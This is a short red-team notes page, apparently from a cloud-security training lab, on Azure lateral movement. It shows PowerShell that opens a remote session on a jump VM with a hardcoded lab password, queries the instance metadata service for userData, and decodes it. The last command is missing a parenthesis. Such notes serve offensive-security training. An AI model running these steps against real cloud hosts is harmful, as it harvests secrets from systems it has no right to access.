> For the complete documentation index, see [llms.txt](https://cookiez.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cookiez.gitbook.io/red-team/cloud/azure/lateral-movement/user-data.md).

# User Data

Run the below from PSRemoting session

{% stepper %}
{% step %}

### Enter PSRemoting

```powershell
$password = ConvertTo-SecureString 'StudxPassword@123' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('studentx', $password)
$jumpvm = New-PSSession -ComputerName 51.116.180.87 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession -Session $jumpvm
```

{% endstep %}

{% step %}

### Get the user data

```powershell
$userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"
```

{% endstep %}

{% step %}

### View data

```powershell
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)
```

{% endstep %}
{% endstepper %}
